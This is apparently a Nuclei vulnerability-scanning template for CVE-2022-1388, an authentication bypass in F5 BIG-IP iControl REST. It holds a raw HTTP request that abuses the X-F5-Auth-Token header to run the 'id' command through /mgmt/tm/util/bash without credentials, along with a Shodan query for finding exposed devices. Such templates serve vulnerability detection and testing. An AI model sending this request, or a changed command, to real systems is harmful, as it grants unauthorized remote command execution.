id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl REST Auth Bypass RCE
  author: dwisiswant0
  severity: critical
  description: |
    This vulnerability may allow an unauthenticated attacker
    with network access to the BIG-IP system through the management
    port and/or self IP addresses to execute arbitrary system commands,
    create or delete files, or disable services. There is no data plane
    exposure; this is a control plane issue only.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://support.f5.com/csp/article/K23605346
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
  metadata:
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
    verified: true
  tags: bigip,cve,cve2022,rce,mirai

variables:
  auth: "admin:"

requests:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
          "command": "run",
          "utilCmdArgs": "-c id"
        }

    matchers:
      - type: word
        words:
          - "commandResult"
          - "uid="
        condition: and